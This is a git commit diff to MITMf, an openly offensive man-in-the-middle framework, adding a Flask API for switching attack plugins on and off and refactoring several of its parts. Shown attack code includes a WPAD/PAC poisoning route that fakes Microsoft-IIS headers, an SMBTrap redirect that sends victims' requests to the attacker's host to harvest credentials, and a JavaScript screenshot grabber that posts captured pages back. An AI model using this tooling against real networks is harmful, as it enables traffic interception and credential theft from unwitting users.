This commit is contained in:
xtr4nge 2015-06-21 13:39:24 +00:00
commit 9bf6366053
23 changed files with 300 additions and 140 deletions

View file

@ -6,6 +6,7 @@
# Required BeEF and Metasploit options
[[BeEF]]
beefip = 127.0.0.1
beefport = 3000
user = beef
@ -18,6 +19,11 @@
rpcport = 55552
rpcpass = abc123
[[MITMf-API]]
host = 127.0.0.1
port = 9090
[[SMB]]
#
@ -57,25 +63,23 @@
# ini = /tmp/desktop.ini
# bat = /tmp/evil.bat
#This is still experimental, don't uncomment pls!
#[[HTTP]]
[[HTTP]]
#
# Here you can configure MITMf's internal HTTP server
#
#port = 80
port = 80
#[[[Paths]]]
[[[Paths]]]
#
# Here you can define the content to deliver
#
# Format is urlpath = filesystem path (urlpath can be a regular expression)
# Format is urlpath = filesystem path
# ".*" = "/var/www"
# "/test" = "/var/www2"
"/test" = "/var/www2"
[[DNS]]

29
config/plugins.conf Normal file
View file

@ -0,0 +1,29 @@
[plugins]
[[cachekill]]
status = disabled
[[screen]]
status = disabled
[[browserprofiler]]
status = disabled
[[appoison]]
status = disabled
[[replace]]
status = disabled
[[smbtrap]]
status = disabled
[[upsidedownternet]]
status = disabled

View file

@ -21,11 +21,6 @@ class ConfigWatcher(FileSystemEventHandler):
return ConfigWatcher._instance
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def getConfig(self):
return self.config
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
self.reloadConfig()
self.onConfigChange()
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def onConfigChange(self):
""" We can subclass this function to do stuff after the config file has been modified"""
pass

View file

@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
};
}
_html2canvas.Parse = function (images, options) {
window.scroll(0,0);
//window.scroll(0,0);
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
numDraws = 0,
@ -2871,8 +2871,10 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat);
xmlhttp.send(x);
}
});
},
width: screen.width,
height: screen.height
});
}
setInterval(function(){grab()}, SECONDS_GO_HERE);

108
core/mitmfapi.py Normal file
View file

@ -0,0 +1,108 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Coded by @xtr4nge
"""
#import multiprocessing
import threading
import logging
import json
import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
class mitmfapi:
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
if plugin == p.name:
return json.dumps("1")
return json.dumps("0")
@app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self):
app.run(debug=False, host=self.host, port=self.port)
#def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
# api_thread.daemon = True
# api_thread.start()
def start(self):
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
api_thread.setDaemon(True)
api_thread.start()

View file

@ -42,32 +42,25 @@ class ProxyPlugins:
in handleResponse, but is still annoying.
'''
_instance = None
plist = []
mthdDict = {"connectionMade": "clientRequest",
"handleStatus": "serverResponseStatus",
"handleResponse": "serverResponse",
"handleHeader": "serverHeaders",
"handleEndHeaders":"serverHeaders"}
pmthds = {}
def __init__(self):
self.pmthds = {}
self.plist = []
self.plist_all = []
@staticmethod
def getInstance():
if ProxyPlugins._instance == None:
if ProxyPlugins._instance is None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance
def setPlugins(self, plugins):
'''Set the plugins in use'''
for p in plugins:
self.addPlugin(p)
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
def addPlugin(self,p):
def addPlugin(self, p):
'''Load a plugin'''
self.plist.append(p)
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
@ -77,12 +70,12 @@ class ProxyPlugins:
except KeyError:
self.pmthds[mthd] = [getattr(p,pmthd)]
def removePlugin(self,p):
def removePlugin(self, p):
'''Unload a plugin'''
self.plist.remove(p)
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems():
self.pmthds[mthd].remove(p)
self.pmthds[mthd].remove(getattr(p, pmthd))
def hook(self):
'''Magic to hook various function calls in sslstrip'''

View file

@ -419,14 +419,15 @@ class DNSChef(ConfigWatcher):
_instance = None
version = "0.4"
tcp = False
ipv6 = False
hsts = False
real_records = dict()
nametodns = dict()
server_address = "0.0.0.0"
nameservers = ["8.8.8.8"]
port = 53
def __init__(self):
self.tcp = False
self.ipv6 = False
self.hsts = False
self.real_records = dict()
self.nametodns = dict()
self.server_address = "0.0.0.0"
self.nameservers = ["8.8.8.8"]
self.port = 53
@staticmethod
def getInstance():

View file

@ -1,82 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import tornado.ioloop
import tornado.web
import threading
from core.configwatcher import ConfigWatcher
tornado_logger = logging.getLogger("tornado")
tornado_logger.propagate = False
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
tornado_logger.addHandler(fileHandler)
tornado_logger.addHandler(streamHandler)
class HTTPServer(ConfigWatcher):
_instance = None
application = tornado.web.Application([])
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def addStaticPathHandler(self, urlregex, path, vhost=''):
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
def resetApplication(self):
self.application = tornado.web.Application([])
def parseConfig(self):
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
self.addStaticPathHandler(url, path)
def onConfigChange(self):
self.resetApplication()
self.parseConfig()
def start(self):
self.parseConfig()
self.application.listen(self.http_port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()
class HTTPHandler(tornado.web.RequestHandler):
def get(self):
raise HTTPError(405)
def post(self):
raise HTTPError(405)

View file

@ -0,0 +1,46 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver:
_instance = None
server = Flask(__name__)
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
@staticmethod
def getInstance():
if HTTPserver._instance is None:
HTTPserver._instance = HTTPserver()
return HTTPserver._instance
def startFlask(self):
self.server.run(debug=False, host='0.0.0.0', port=self.port)
def start(self):
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
server_thread.setDaemon(True)
server_thread.start()

View file

@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
_instance = None
impacket_ver = version.VER_MINOR
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
@staticmethod
def getInstance():

View file

@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts
self.app = URLMonitor.getInstance().app
self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
self.plugins.hook()
ProxyPlugins.getInstance().hook()
self.sendRequest()
self.sendHeaders()
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
def handleStatus(self, version, code, message):
values = self.plugins.hook()
values = ProxyPlugins.getInstance().hook()
version = values['version']
code = values['code']
@ -164,7 +163,7 @@ class ServerConnection(HTTPClient):
if self.length == 0:
self.shutdown()
self.plugins.hook()
ProxyPlugins.getInstance().hook()
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems():
@ -191,7 +190,7 @@ class ServerConnection(HTTPClient):
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
data = ProxyPlugins.getInstance().hook()['data']
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))

View file

@ -66,6 +66,8 @@ plugins = []
try:
for p in plugin_classes:
plugins.append(p())
ProxyPlugins.getInstance().plist_all = plugins
except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e)
@ -178,17 +180,23 @@ DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server
#from core.servers.http.HTTPServer import HTTPServer
#HTTPServer.getInstance().start()
#from core.servers.http.HTTPserver import HTTPserver
#HTTPserver.getInstance().start()
#print "|_ HTTP server online"
#Start the SMB server
from core.servers.smb.SMBserver import SMBserver
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
SMBserver.getInstance().start()
#Start MITMf-API
from core.mitmfapi import mitmfapi
mitmfapi().start()
print "|"
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
#start the reactor
reactor.run()
print "\n"
shutdown()
shutdown()

View file

@ -18,6 +18,12 @@
# USA
#
"""
[enabled | disabled] by @xtr4nge
"""
import logging
import re
import os.path
@ -45,7 +51,6 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning()
def serverResponse(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request

View file

@ -17,6 +17,13 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
[enabled | disabled] by @xtr4nge
"""
import logging
from pprint import pformat
@ -46,7 +53,6 @@ class BrowserProfiler(Inject, Plugin):
return d
def clientRequest(self, request):
#Handle the plugin output
if 'clientprfl' in request.uri:
request.printPostData = False

View file

@ -18,6 +18,12 @@
# USA
#
"""
[API] enabled|disabled by @xtr4nge
"""
import logging
from plugins.plugin import Plugin

View file

@ -17,6 +17,7 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import re
import random

View file

@ -21,6 +21,7 @@
"""
Plugin by @rubenthijssen
[enabled | disabled] by @xtr4nge
"""
@ -53,7 +54,6 @@ class Replace(Plugin):
if self._should_replace(ip, hn, mime):
# Did the user provide us with a regex file?
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):

View file

@ -21,12 +21,12 @@
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig, shutdown
from core.configwatcher import ConfigWatcher
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
class Responder(Plugin):
name = "Responder"
@ -54,8 +54,23 @@ class Responder(Plugin):
LLMNRPoisoner().start(options, self.ourip)
if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner
WPADPoisoner().start(options)
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver.getInstance().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer

View file

@ -1,3 +1,9 @@
"""
[enabled | disabled] by @xtr4nge
"""
import logging
import random
import string
@ -21,4 +27,4 @@ class SMBTrap(Plugin):
def serverHeaders(self, response, request):
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))

View file

@ -18,6 +18,12 @@
# USA
#
"""
[enabled | disabled] by @xtr4nge
"""
import logging
import base64
import urllib

View file

@ -18,6 +18,12 @@
# USA
#
"""
[enabled | disabled] by @xtr4nge
"""
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin

View file

@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
class Plugin(ConfigWatcher, object):
name = "Generic plugin"
optname = "generic"
tree_info = list()
tree_info = []
desc = ""
version = "0.0"
has_opts = False

View file

@ -15,3 +15,4 @@ pyopenssl
service_identity
capstone
pypcap
flask